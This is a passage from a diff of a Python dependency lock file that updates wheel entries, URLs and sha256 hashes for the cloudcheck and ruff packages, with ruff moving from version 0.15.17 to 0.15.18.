upload-time = "2026-06-24T01:53:13.416Z" }, + { url = "https://files.pythonhosted.org/packages/bd/ae/18f5b61a5ad6add2cea661bd839c1246ff295de24b1d761aacb78229582b/cloudcheck-11.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:53df6bd27a797560802c4e8e6b3a8bb4f6aa9d87bd762d2d7ab4ed4bbda1ef5f", size = 1412447, upload-time = "2026-06-24T01:53:27.079Z" }, + { url = "https://files.pythonhosted.org/packages/23/22/16169719a177e6ed099f1030b95a68dacd516429563bfe4c1d4561bd385d/cloudcheck-11.1.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:7fdd75d9290732ab63b60a0456c72c6100b0ece7ba29f3ba37903da945aed90e", size = 1627846, upload-time = "2026-06-24T01:52:25.366Z" }, + { url = "https://files.pythonhosted.org/packages/31/42/567df33fd6022379f70ab69659b18f3a28a44c5c0878d4928c1d0c8ab033/cloudcheck-11.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:91682f2f6f06f7d99040c3b7e281e82057322cfd4d0f15c77746868335176bf4", size = 1603340, upload-time = "2026-06-24T01:52:18.402Z" }, + { url = "https://files.pythonhosted.org/packages/e5/00/1f054e67b5932f63cdbe1d4363c358a926ccc6a46a286fb18b41a82f1edc/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8cc23596a1c64d5dc8300f03bec7f3962e21ff07fcca1b9a7e697d4ec47628f1", size = 4231553, upload-time = "2026-06-24T01:51:16.77Z" }, + { url = "https://files.pythonhosted.org/packages/cd/c2/27b9eb424148475cb6c696be2926bf06a27e9e19066357c99f5a8431bc1b/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a9d2c81349bc95cf598248da3f34cc052ee9b19a0d374923ba88ca522a2b6b21", size = 3581702, upload-time = "2026-06-24T01:51:29.737Z" }, + { url = "https://files.pythonhosted.org/packages/f1/23/090a17cdf2447deec2019ddf2c99e71998fc7b6c1eca4dfd93e82b35b14f/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1db5cd94eaff83acf93111c83cc053a71a11861ae3a45d08c5a5c02a919ab17", size = 4166027, upload-time = "2026-06-24T01:51:54.715Z" }, + { url = "https://files.pythonhosted.org/packages/a9/95/a663471127fc36ddc5102a7f1638630e7098a4c2f59385039cfb201ec5a8/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03d8ab01a4f72a806d8ecb045e29055d208e5e75202934aee1fa3d709a4c77f2", size = 4076800, upload-time = "2026-06-24T01:51:42.432Z" }, + { url = "https://files.pythonhosted.org/packages/8b/47/a97fbf2eacb4956cbb9ca0a4316067b5d7cf18164267829cceac05eb6fc2/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:916574b39591b533bda458c9ae3a780169e71be1ad0c72e1175ad58a5a5629b3", size = 4020820, upload-time = "2026-06-24T01:52:07.687Z" }, + { url = "https://files.pythonhosted.org/packages/0d/e0/f4545bb3bf57ee43c17ef1226de5dde334977ba538632f2be99d745885fa/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:488518b5bcf8b9e72cefb5c23af69a52be68b4a196ccca5ef2f5a7cd5bf41645", size = 4634914, upload-time = "2026-06-24T01:52:34.565Z" }, + { url = "https://files.pythonhosted.org/packages/07/f0/932346dcf9efa86245a490f5d3a2432f895bba61432ece025134534a88b3/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:1b32de616c43504e092f7ce7ad7122f6cba2a0d72bca130b0134d8811aba277c", size = 3911265, upload-time = "2026-06-24T01:52:48.629Z" }, + { url = "https://files.pythonhosted.org/packages/22/6b/99da3537c47ac0f73ff753ffb850d1f3249a653d537925e14bb7d66b880c/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ca6a5e8e8b293acd32a5f5affe4106c6165033445062384a44dc2044c4d2061f", size = 4256638, upload-time = "2026-06-24T01:53:01.56Z" }, + { url = "https://files.pythonhosted.org/packages/2d/3f/b8250fa548c54d41948a59b24c23cba8215aae6ec45237c0981e47f6986e/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ccaa40f94d028bf264e71e89e6e51993fc01643fb063e0f2633cd44de86a429c", size = 4288676, upload-time = "2026-06-24T01:53:15.676Z" }, + { url = "https://files.pythonhosted.org/packages/4d/5d/5fc745389013087e1d92c633b848f1a149486a0619a54276690b5f209e1a/cloudcheck-11.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:a90283241cbf136f99a4b9181ad5845aa479e826e0fc1a8287b8a69400cd14e3", size = 1412224, upload-time = "2026-06-24T01:53:28.64Z" }, + { url = "https://files.pythonhosted.org/packages/59/e4/ae62a65601098faf2b0b841e7ce5e87617f5c640c8c775087a77dea0b4a4/cloudcheck-11.1.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:37c7b25eebde0bdfadbe23a285ee0570cc6b91aee01400b3d2a12eb9c354e9a6", size = 1628902, upload-time = "2026-06-24T01:52:27.078Z" }, + { url = "https://files.pythonhosted.org/packages/ca/c8/b57b9930dc5352696f8ce154fcd8c4a1c0e56a7436186430d016c6be0773/cloudcheck-11.1.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e69c64d371cef736ce7404dbc0d2d4f0af2c645e467432d5596f01f2b3f1c67e", size = 1603546, upload-time = "2026-06-24T01:52:20.368Z" }, + { url = "https://files.pythonhosted.org/packages/91/1d/13e34739ea4b1d6adc4af45c569446f70435616a81facc2b8adc7c3a0e36/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e99315d0e1214987bc2f6463dbfc5864e30a757c0f5a61ab3f569eeab65d804", size = 4227647, upload-time = "2026-06-24T01:51:18.708Z" }, + { url = "https://files.pythonhosted.org/packages/88/91/f4bb1a4ad1388375d62866c3dbb2d7868d01cc84d529404fecd1ea364ec3/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ac124c734c5e9e773f55245878819d793eb30662974f67fadf9bfb01e89f5850", size = 3582647, upload-time = "2026-06-24T01:51:31.514Z" }, + { url = "https://files.pythonhosted.org/packages/d3/61/36bedf0b70f3a31a25c72c1167a7972652084a7e07c8419fa363f03aab41/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:14da5f7208fa6248ce96e620eca7888977905ff29de217c294976f098928e255", size = 4166298, upload-time = "2026-06-24T01:51:56.768Z" }, + { url = "https://files.pythonhosted.org/packages/f2/df/87ddfc882f32b2cfcbbd30b8758cadced445114c17b6979b60ed0d8c7e9f/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:05cdffad94d306ed391399848c583f917fb4ac25d99e6edddcaa77a9b78a9d5a", size = 4078109, upload-time = "2026-06-24T01:51:44.128Z" }, + { url = "https://files.pythonhosted.org/packages/82/6d/709c0fb41c52029da2a91df2f2184a37beb8ab95c3c614df2575060b4033/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:593f78d4740b83f43955883b24fdc785193b7ff4e679f5545f9e9e6501ea86b5", size = 4019438, upload-time = "2026-06-24T01:52:09.584Z" }, + { url = "https://files.pythonhosted.org/packages/c7/7b/408820addf925533973abb1da009f8719c4063e4964ade075dcdf50c67d8/cloudcheck-11.1.0-cp314-cp314-manylinux_2_38_x86_64.whl", hash = "sha256:127ffee71e9de652e88c9e0179c59318eedd139b13453e839f0eb7f33e19b88f", size = 3620324, upload-time = "2026-06-24T01:38:18.03Z" }, + { url = "https://files.pythonhosted.org/packages/08/49/47e64da6a7775e8b79c0974ecb05d46c4576ea13c1b61616ee4536d04bc5/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7625d40295f3285d8c81f527ea248e4a4c03a5ae9b0e3be777b7d5b519fffa51", size = 4627588, upload-time = "2026-06-24T01:52:36.667Z" }, + { url = "https://files.pythonhosted.org/packages/61/1e/7b3cfa2f917fb529f1b726cfe495258b05b7c689abf815c6786da63f03ad/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:f5cf04e8a36eadcfe66739804df961f570dbacdade908fc8dde856bc7f3a070c", size = 3912050, upload-time = "2026-06-24T01:52:50.423Z" }, + { url = "https://files.pythonhosted.org/packages/77/43/1e680cbc70bfc2afd40753a2c3458f4568d14a3d605e72871f2aea3f5566/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:3f4f92835fcf428f4acdc3681739a306c7172b6a7963ef4b272eefd0f390c387", size = 4256341, upload-time = "2026-06-24T01:53:03.479Z" }, + { url = "https://files.pythonhosted.org/packages/55/c7/3611ac35cb38a82d0ebbcf3568eefb19ba89b5d93040179a9bf13e93b4bc/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:3e38eaf5fa3f871b2afe1caa4c1cf2626af8a55faf7db0f05abeb8895a40ece5", size = 4283526, upload-time = "2026-06-24T01:53:17.642Z" }, + { url = "https://files.pythonhosted.org/packages/3a/de/6ba44d3ea3c5ed7c03c744ee8155019845975208dc15a00213895fde5923/cloudcheck-11.1.0-cp314-cp314-win32.whl", hash = "sha256:5d418ad7ccd53f1367b31ead8c96c42c324f6eaef8a69f9a82772b5ce651465c", size = 1320213, upload-time = "2026-06-24T01:53:31.805Z" }, + { url = "https://files.pythonhosted.org/packages/91/c4/76ad9c8e15524c115b1f11e5b56b4291e0925cb8626989d7d93a503f7a22/cloudcheck-11.1.0-cp314-cp314-win_amd64.whl", hash = "sha256:76a90ae769b9837bf7f5cd7d7831ca3fae36fea839b5fcdd41e7ed8327c05183", size = 1411520, upload-time = "2026-06-24T01:53:30.269Z" }, + { url = "https://files.pythonhosted.org/packages/b6/7a/c414832db140aceb8d7021f787d9fc91f2358cbbb1733c689e939657238a/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:416bbc5bcc2da6b77a7c5d83715da8b68ed140ce5435f40ebae7ac8a1669b54e", size = 4230623, upload-time = "2026-06-24T01:51:20.703Z" }, + { url = "https://files.pythonhosted.org/packages/08/5a/6062da2e386424f35907ffe5f9fa5f8d76efa9ba7b297f17ff6e2bfcfd7b/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:75c04c26554d8b98564a6a354b7b5a23769fe106b81f6fe6bcf54d3f482f0937", size = 3579147, upload-time = "2026-06-24T01:51:33.376Z" }, + { url = "https://files.pythonhosted.org/packages/f0/9b/ba7c8bb8243c4a5ce4cc2522f046bd71742b0423738eb945cc778659d486/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:af81fdf60c2369b384c182017c188bcbe6fd7a7a9dfb504f4e52ebd09f9dcd46", size = 4164579, upload-time = "2026-06-24T01:51:58.599Z" }, + { url = "https://files.pythonhosted.org/packages/a1/cf/0d81beba95d8ff0c64e9604f4abaf7001dc536f48efb54ab2b92c7a3539b/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9d619c5beef80b831a95508dca6e7400378295a81f593290490f1e919b2d3ba4", size = 4078924, upload-time = "2026-06-24T01:51:45.817Z" }, + { url = "https://files.pythonhosted.org/packages/ac/d0/050ab1722d6c1a628ab6c2e5a1ba6788f79a14c16e1ea959467736a6d4bc/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6914ec7776c85b73a739e2e6708fa7e730d28ab15010f4fba401386beee50180", size = 4025140, upload-time = "2026-06-24T01:52:11.439Z" }, + { url = "https://files.pythonhosted.org/packages/35/97/2bb5e69c7aded98bc9efc5cec1d648d9e5e4b4c3a717103f4d8513a66a5f/cloudcheck-11.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:74542a999b0b633c43a68ed6e51ccc4a1f1c7e5b009d774d29c9a3d2164742af", size = 4631093, upload-time = "2026-06-24T01:52:38.458Z" }, + { url = "https://files.pythonhosted.org/packages/c9/37/f7559e749951eb2b639eee322018c276bd1b4eb892ae7d46514b2afa4c63/cloudcheck-11.1.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:8cd31034b0be3b3bf706543e54eb61b4c31567484554f3c44b490f0759302e2b", size = 3909734, upload-time = "2026-06-24T01:52:52.269Z" }, + { url = "https://files.pythonhosted.org/packages/cb/34/c22c7b6863d9302b2cd94887dbea46a9d69be5d5ccb8f37459d9eb637028/cloudcheck-11.1.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:bf2cc009afa271b2ebfde51364003d67fe439d0a6c4c2740ceeb25ef0c36ad8b", size = 4253930, upload-time = "2026-06-24T01:53:05.241Z" }, + { url = "https://files.pythonhosted.org/packages/f7/88/a26706ee3c86e0d2b990d3184d38a7b69dc2fc2bd11b45dda4325cc9f9cf/cloudcheck-11.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:de8b44c02d05d5a5c4629b88f3edfadcefee2834b90a8b8888b4d56e2b8b1922", size = 4290138, upload-time = "2026-06-24T01:53:19.41Z" }, + { url = "https://files.pythonhosted.org/packages/70/3b/bfdfcc252b3df211a2adc657744528755c810e5c58e8d95a414ccabe3fc8/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b70efa9390577f1c2cdec2a3dab40149efed3192b71a41cfe59e28984c0d1c6", size = 4236159, upload-time = "2026-06-24T01:51:22.71Z" }, + { url = "https://files.pythonhosted.org/packages/14/18/9fec85a4a09d528f4d514f8e70638d3961d4098cb715b4179f55313b673c/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9a0d8d5c586f4dfdb8a644503ef855a7f59fe760390c3bae2cffce0fd7c5e6d5", size = 3585652, upload-time = "2026-06-24T01:51:35.245Z" }, + { url = "https://files.pythonhosted.org/packages/d6/5e/59699d4d59d9f0df8e370a465eda694cb106490c7e62d92446fb91944f60/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d89a88f1ab1d8984a4ab69d5e1b6fc0d27372a337cce07138ba8464410a58631", size = 4170828, upload-time = "2026-06-24T01:52:00.378Z" }, + { url = "https://files.pythonhosted.org/packages/bf/ea/39266dd460993c5573b0b6e83a501e592b31f76bbaa39dcb6373f0e0d144/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5e25da85442c04e5adfa8e640b317461d5b28ffc4e9a4f69553215bddceb58f", size = 4082245, upload-time = "2026-06-24T01:51:47.743Z" }, + { url = "https://files.pythonhosted.org/packages/a3/e4/ccbc9d41aa4e38f1da5ae70860b65370eef1e9f3793e644113b12b3db2f6/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f66138d97c9cbb6e5afe2f794fdfd6345ba2a65e958a138652f82c4c3fb261cd", size = 4025861, upload-time = "2026-06-24T01:52:13.234Z" }, + { url = "https://files.pythonhosted.org/packages/4c/7b/f63b121aa58decb8e29e51a894642477d9dd6e66d25a0f8dbc0bf11c482f/cloudcheck-11.1.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:fe3e69f5aa1611b9cb75a09f0062f590b76eb3d700c347239287e5a1503c38d0", size = 4641331, upload-time = "2026-06-24T01:52:40.327Z" }, + { url = "https://files.pythonhosted.org/packages/01/46/83842410d5e502c71e07e493f1fbf1d22531aebe352e578539ac3ee57c00/cloudcheck-11.1.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:0dbe979a8ddbc8d324798d04667efa46a4200db350a16f10e7ad07d8c16102cd", size = 3914486, upload-time = "2026-06-24T01:52:54.083Z" }, + { url = "https://files.pythonhosted.org/packages/1d/c6/51fa6ff51575f8411dea54a7ba06cad6c2f7d28d874431dbd1aed1af21c8/cloudcheck-11.1.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:bb895f08f654451bbcc847d9f61bcd2132c1e1b968f6056a63647bbd560ebe36", size = 4264679, upload-time = "2026-06-24T01:53:07.513Z" }, + { url = "https://files.pythonhosted.org/packages/0a/2c/d9c8309be4e6aaae9e49343ba53f8314aa4258cb4a16a24bb3efd3e49003/cloudcheck-11.1.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:e8b40a33c6c2e66072fe7aa94b6a8cd088106dcf6da676ae9195b5a4e5606eca", size = 4292406, upload-time = "2026-06-24T01:53:21.307Z" }, ] [[package]] @@ -2789,27 +2789,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.17" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/8c/a9/3abdf488f1bf3d24c699415e454ed554a6350d5d89ce183be1ee0a3361ac/ruff-0.15.17.tar.gz", hash = "sha256:2ec446937fd16c8c4de2674a209cc5af64d9c6f17d21fbf1151054fa0bcf5219", size = 4743346, upload-time = "2026-06-11T17:54:47.663Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/db/4d/e11259f5da07cb6afb2d074c31bf09da9671993f7329d4f15d2fdc458301/ruff-0.15.17-py3-none-linux_armv6l.whl", hash = "sha256:d9feddb927fc68bd295f5eebc587a7e42cfaf9b65f60ca4a2386febff575da8f", size = 10856677, upload-time = "2026-06-11T17:54:49.533Z" }, - { url = "https://files.pythonhosted.org/packages/29/3e/772d679e1a0dc058e58875bd2c0cb713a0530877b4a76fee3c7966df0d49/ruff-0.15.17-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:25805a226d741c47d274a35ad5c10a7dde175fcddfa511d7cf3da0a21eb3eab7", size = 11223443, upload-time = "2026-06-11T17:55:00.573Z" }, - { url = "https://files.pythonhosted.org/packages/68/58/bd41f7688b2fd5623012605130ed70e60aa7f2244baa3d5066bdd61530c8/ruff-0.15.17-py3-none-macosx_11_0_arm64.whl", hash = "sha256:f6ad73b14c2d18a3bf8ad7cb6974294d7f613a7898604826058e6ac64918ef4d", size = 10566458, upload-time = "2026-06-11T17:55:07.52Z" }, - { url = "https://files.pythonhosted.org/packages/d8/5b/733371013fcf1ec339e477ece6ab42bfe10bdd9bba8ee88a9516aa56bfc0/ruff-0.15.17-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ba0c1e4f95bcb3869d0d30cbd5917071ef2e28665abfec970cdab0492c713ed", size = 10914483, upload-time = "2026-06-11T17:55:05.501Z" }, - { url = "https://files.pythonhosted.org/packages/bd/cc/6f24251cc0252f7239391ccb85833f320efad14ebe5b443943f37ced6332/ruff-0.15.17-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:81647960f10bff57d2e51cadd0c3950fe598400c852863a038720ef5b8cca91e", size = 10647497, upload-time = "2026-06-11T17:54:57.733Z" }, - { url = "https://files.pythonhosted.org/packages/68/dd/0d10c17ce1a1624d6fc3156309c3f834fdb5dfaad026ec90c85684f3990e/ruff-0.15.17-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0e01a84ddbc8c16c23055ba3924476850f1bbc1917cebbb9376665a63e74260d", size = 11416967, upload-time = "2026-06-11T17:54:51.461Z" }, - { url = "https://files.pythonhosted.org/packages/2f/91/556bfb156f6144f355e831c23db00b2fc4120f86b3ce81cc5f7fd2df51f3/ruff-0.15.17-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84fe9f653152f8f294f9f7e03bf3a453d8b4a27f7a59c78c8666167f2b17b96c", size = 12335770, upload-time = "2026-06-11T17:54:45.793Z" }, - { url = "https://files.pythonhosted.org/packages/88/82/8b5999aa13355e926f06d9f42a32dcca862f623bf0363785ff89d607dffd/ruff-0.15.17-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c0fe88a7676e7a05b73174d4d4a59cb2ac21ff8263583f87a81a6018475a978", size = 11575441, upload-time = "2026-06-11T17:54:32.661Z" }, - { url = "https://files.pythonhosted.org/packages/11/93/f10377bb04109ca0e8cbc483ff1982c54b6d418210041776f93e8cdc7fa9/ruff-0.15.17-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ecfc3c7878fff94633ab0348524e093f9ce3243080416dd7d14f8ba400174719", size = 11557614, upload-time = "2026-06-11T17:54:34.698Z" }, - { url = "https://files.pythonhosted.org/packages/c7/a6/eeeae7f7d5493df41649ab3db92f086b2d0a30199e4efdf8e3dd7a033f24/ruff-0.15.17-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:b8461180b22420b1bdc289909410930761629fddf2a5aaf60fae1ab26cedc4c4", size = 11544450, upload-time = "2026-06-11T17:54:39.042Z" }, - { url = "https://files.pythonhosted.org/packages/32/88/5991ce565129a24dd4a00db1254b3b5db2e53018cbe4018ea5a89738e727/ruff-0.15.17-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:6eccbe50a038b503e7140b441aa9c7fc8c1f36edf23ebef9f4165c2f28f568b7", size = 10892524, upload-time = "2026-06-11T17:55:09.432Z" }, - { url = "https://files.pythonhosted.org/packages/f5/1d/0fdd248313425f55223968af04b0a42125466a8d88d21c1d99c6af0a51e8/ruff-0.15.17-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:382fc0521025f5a8ad447d8bdd523545d0d7646adb718eb1c2dac5065ec27c0f", size = 10659573, upload-time = "2026-06-11T17:54:36.824Z" }, - { url = "https://files.pythonhosted.org/packages/9e/0e/072e8260deb9461062ce9311ced27a8e541229a6ffd483013dd37661e43e/ruff-0.15.17-py3-none-musllinux_1_2_i686.whl", hash = "sha256:456d41fcd1b2777ad63f09a6e7121d43f7b688bbc76a800c10f7f8fb1f912c3f", size = 11127818, upload-time = "2026-06-11T17:55:03.124Z" }, - { url = "https://files.pythonhosted.org/packages/ab/b4/55060a34163121498014696b5f656db5b8c6963768f227dbf0d76b311073/ruff-0.15.17-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b1a04bcc94ae6194e9db05d16ad31f298a7194bfbcb08258bbe589cee1d587b8", size = 11655901, upload-time = "2026-06-11T17:54:53.562Z" }, - { url = "https://files.pythonhosted.org/packages/49/71/9b29d6b87cef468d697f43c6a91e3fae4a80185779d7d5a4ef27d173439f/ruff-0.15.17-py3-none-win32.whl", hash = "sha256:596065960ab1ff593f744220c9fe6580eda00a95003cffa9f4048bb5b1bf0392", size = 10925574, upload-time = "2026-06-11T17:54:55.723Z" }, - { url = "https://files.pythonhosted.org/packages/3d/b2/8fc77f3723228836fa5d12497eb71c808f83782e10d058d2b15cfa14640b/ruff-0.15.17-py3-none-win_amd64.whl", hash = "sha256:6769e5fa1710b179b92e0bfa5a51735b35baea9013dadb06d5f44cbcf9547084", size = 12058788, upload-time = "2026-06-11T17:54:41.042Z" }, - { url = "https://files.pythonhosted.org/packages/2d/c7/c53e8dbff9c9dc4b7928773421ae294a5d28fcb8dcda1a089579d3a7e510/ruff-0.15.17-py3-none-win_arm64.whl", hash = "sha256:f3be1fbb34bcdfd146240d8fb92a709d4c2c8191348580a3c044ec60fa0b4456", size = 11355275, upload-time = "2026-06-11T17:54:43.635Z" }, +version = "0.15.18" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/74/98/1295ad5a5aa9bc85bdcdfa5d82fe7b49c61af5657df4f227637ff9de0da6/ruff-0.15.18.tar.gz", hash = "sha256:2698a964c70e8bf402dcb99c8810472d270d141e7aa8c4e13599fd52033a2f33", size = 4761437, upload-time = "2026-06-18T18:25:39.224Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b9/d0/686e984941269621e2be72612d5c1e461f8f7b38415a2a7d7a81c8ae6715/ruff-0.15.18-py3-none-linux_armv6l.whl", hash = "sha256:8b6850172348c8381b8b3084c5915a4393c2373b9b54cd5b5e1ea15812bc10df", size = 10887308, upload-time = "2026-06-18T18:25:03.062Z" }, + { url = "https://files.pythonhosted.org/packages/ed/21/bc4123e3f5515ee99f8ce1eb93a14a0628fe4d1678663cd08f933ac16931/ruff-0.15.18-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:3fccc153a85417dcd976883160cacce486997b0a0058dd18f54b8aaaac7d1ce2", size = 11281305, upload-time = "2026-06-18T18:25:30.026Z" }, + { url = "https://files.pythonhosted.org/packages/51/93/4769464c25cf7ab2acb3c7dda9cad3d867eb41c59565b3e2a9d17249c90c/ruff-0.15.18-py3-none-macosx_11_0_arm64.whl", hash = "sha256:08d4c86a68f2c3ec2c9d56380a71fb4a4f65373055cbb8caabd645e9102f38d4", size = 10641215, upload-time = "2026-06-18T18:25:15.802Z" }, + { url = "https://files.pythonhosted.org/packages/6c/42/56926d17120db2c208d76bf60a1a019644dd9e91dc27f0f95c9caddb1366/ruff-0.15.18-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:37e5108745c2c0705da916d7d4de533ddf547051ef45f62888c31bae73f66318", size = 10957224, upload-time = "2026-06-18T18:25:36.955Z" }, + { url = "https://files.pythonhosted.org/packages/22/4f/d43fab8d8189afde803103022d000a8ef9f230616d436d52a8b2b8d63b50/ruff-0.15.18-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:56949a6ce8b3abde54c0bcb22cebfe57e8771cadc84b407ae8b8eaf67ebdcd43", size = 10699024, upload-time = "2026-06-18T18:25:05.707Z" }, + { url = "https://files.pythonhosted.org/packages/63/42/1e3e4c68bd408b9768cf3e439acbe2c78245225faef253f7028a0cdb63e0/ruff-0.15.18-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01a754cd6a1b630d3f97e33eb452cf7a98040482318e870f8bc52a5a30e62657", size = 11491458, upload-time = "2026-06-18T18:25:20.275Z" }, + { url = "https://files.pythonhosted.org/packages/20/77/47a3484bea8521e14a203d98c389c5c97846675e4f02734672da4a69b52a/ruff-0.15.18-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6ba7a07e03a44dbf10bb086ee06705b173625014ec99f73a7e6836a5e5590a0c", size = 12383752, upload-time = "2026-06-18T18:25:22.535Z" }, + { url = "https://files.pythonhosted.org/packages/0a/ca/054159590787023d83b658a1a1819c4c8910114e7015069340b71c0961cb/ruff-0.15.18-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5a2c40a41a4cadbcf5897b548ab29dfe248b20c540961c0247d98a3973c70403", size = 11577923, upload-time = "2026-06-18T18:25:10.702Z" }, + { url = "https://files.pythonhosted.org/packages/6d/ff/d353d6b7bbd73cc0ec37f4463d7540e45e894338abdd9964eee0de332708/ruff-0.15.18-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f0480ce690cbb6c4db6e5d08f19fce98e10ba131a8b60c1bcdac42771e3ae2d", size = 11583925, upload-time = "2026-06-18T18:25:32.391Z" }, + { url = "https://files.pythonhosted.org/packages/c1/4a/891f89b9c296ed3e5f3ece1a5629badc989d9a8fdaa30431aaf4774bc1c2/ruff-0.15.18-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2330215f1f393fa8733f55edce04fcf94c36a2c460fcde31f78cc84e4951e9b1", size = 11582834, upload-time = "2026-06-18T18:25:27.309Z" }, + { url = "https://files.pythonhosted.org/packages/32/a3/ed9e370154bf85de360b93c03026157f02d4943b2d01ff4945f4429f8e8a/ruff-0.15.18-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a6aa6a3d979e48ae617578183674bf264fbe7d0114a796a26bd678d67963c7ff", size = 10927328, upload-time = "2026-06-18T18:25:34.676Z" }, + { url = "https://files.pythonhosted.org/packages/f5/d1/5cf5909329fedb5d39d555ee818ba5cf4638e1a301b89785d34f2905bfcb/ruff-0.15.18-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:a81beadbbff2c9c245561ae3f77b16709d87f35eec650d0501679239d3449b22", size = 10693187, upload-time = "2026-06-18T18:25:08.245Z" }, + { url = "https://files.pythonhosted.org/packages/fd/44/ff6c635cf2c4f4e7b618b6640da057376baa36014695487d88aed4794268/ruff-0.15.18-py3-none-musllinux_1_2_i686.whl", hash = "sha256:2186d9e940ae332ab293623a75b5f4fe49565f449954d50a72a046683aa6b809", size = 11208721, upload-time = "2026-06-18T18:25:41.327Z" }, + { url = "https://files.pythonhosted.org/packages/88/d9/5baa2a30861adfb7022cf33c1e35b2fc18085b08c16f83eff4c7b99a5f48/ruff-0.15.18-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:5c2abf140438032bc77b2284a6c9944ecd8a19e5f1c7b52b1b8e4a0a80d19a7a", size = 11678599, upload-time = "2026-06-18T18:25:13.607Z" }, + { url = "https://files.pythonhosted.org/packages/c3/1a/0725a7cfdc32ff769efb96ee782bec882e16448c5d9e3be947ec4c04ce27/ruff-0.15.18-py3-none-win32.whl", hash = 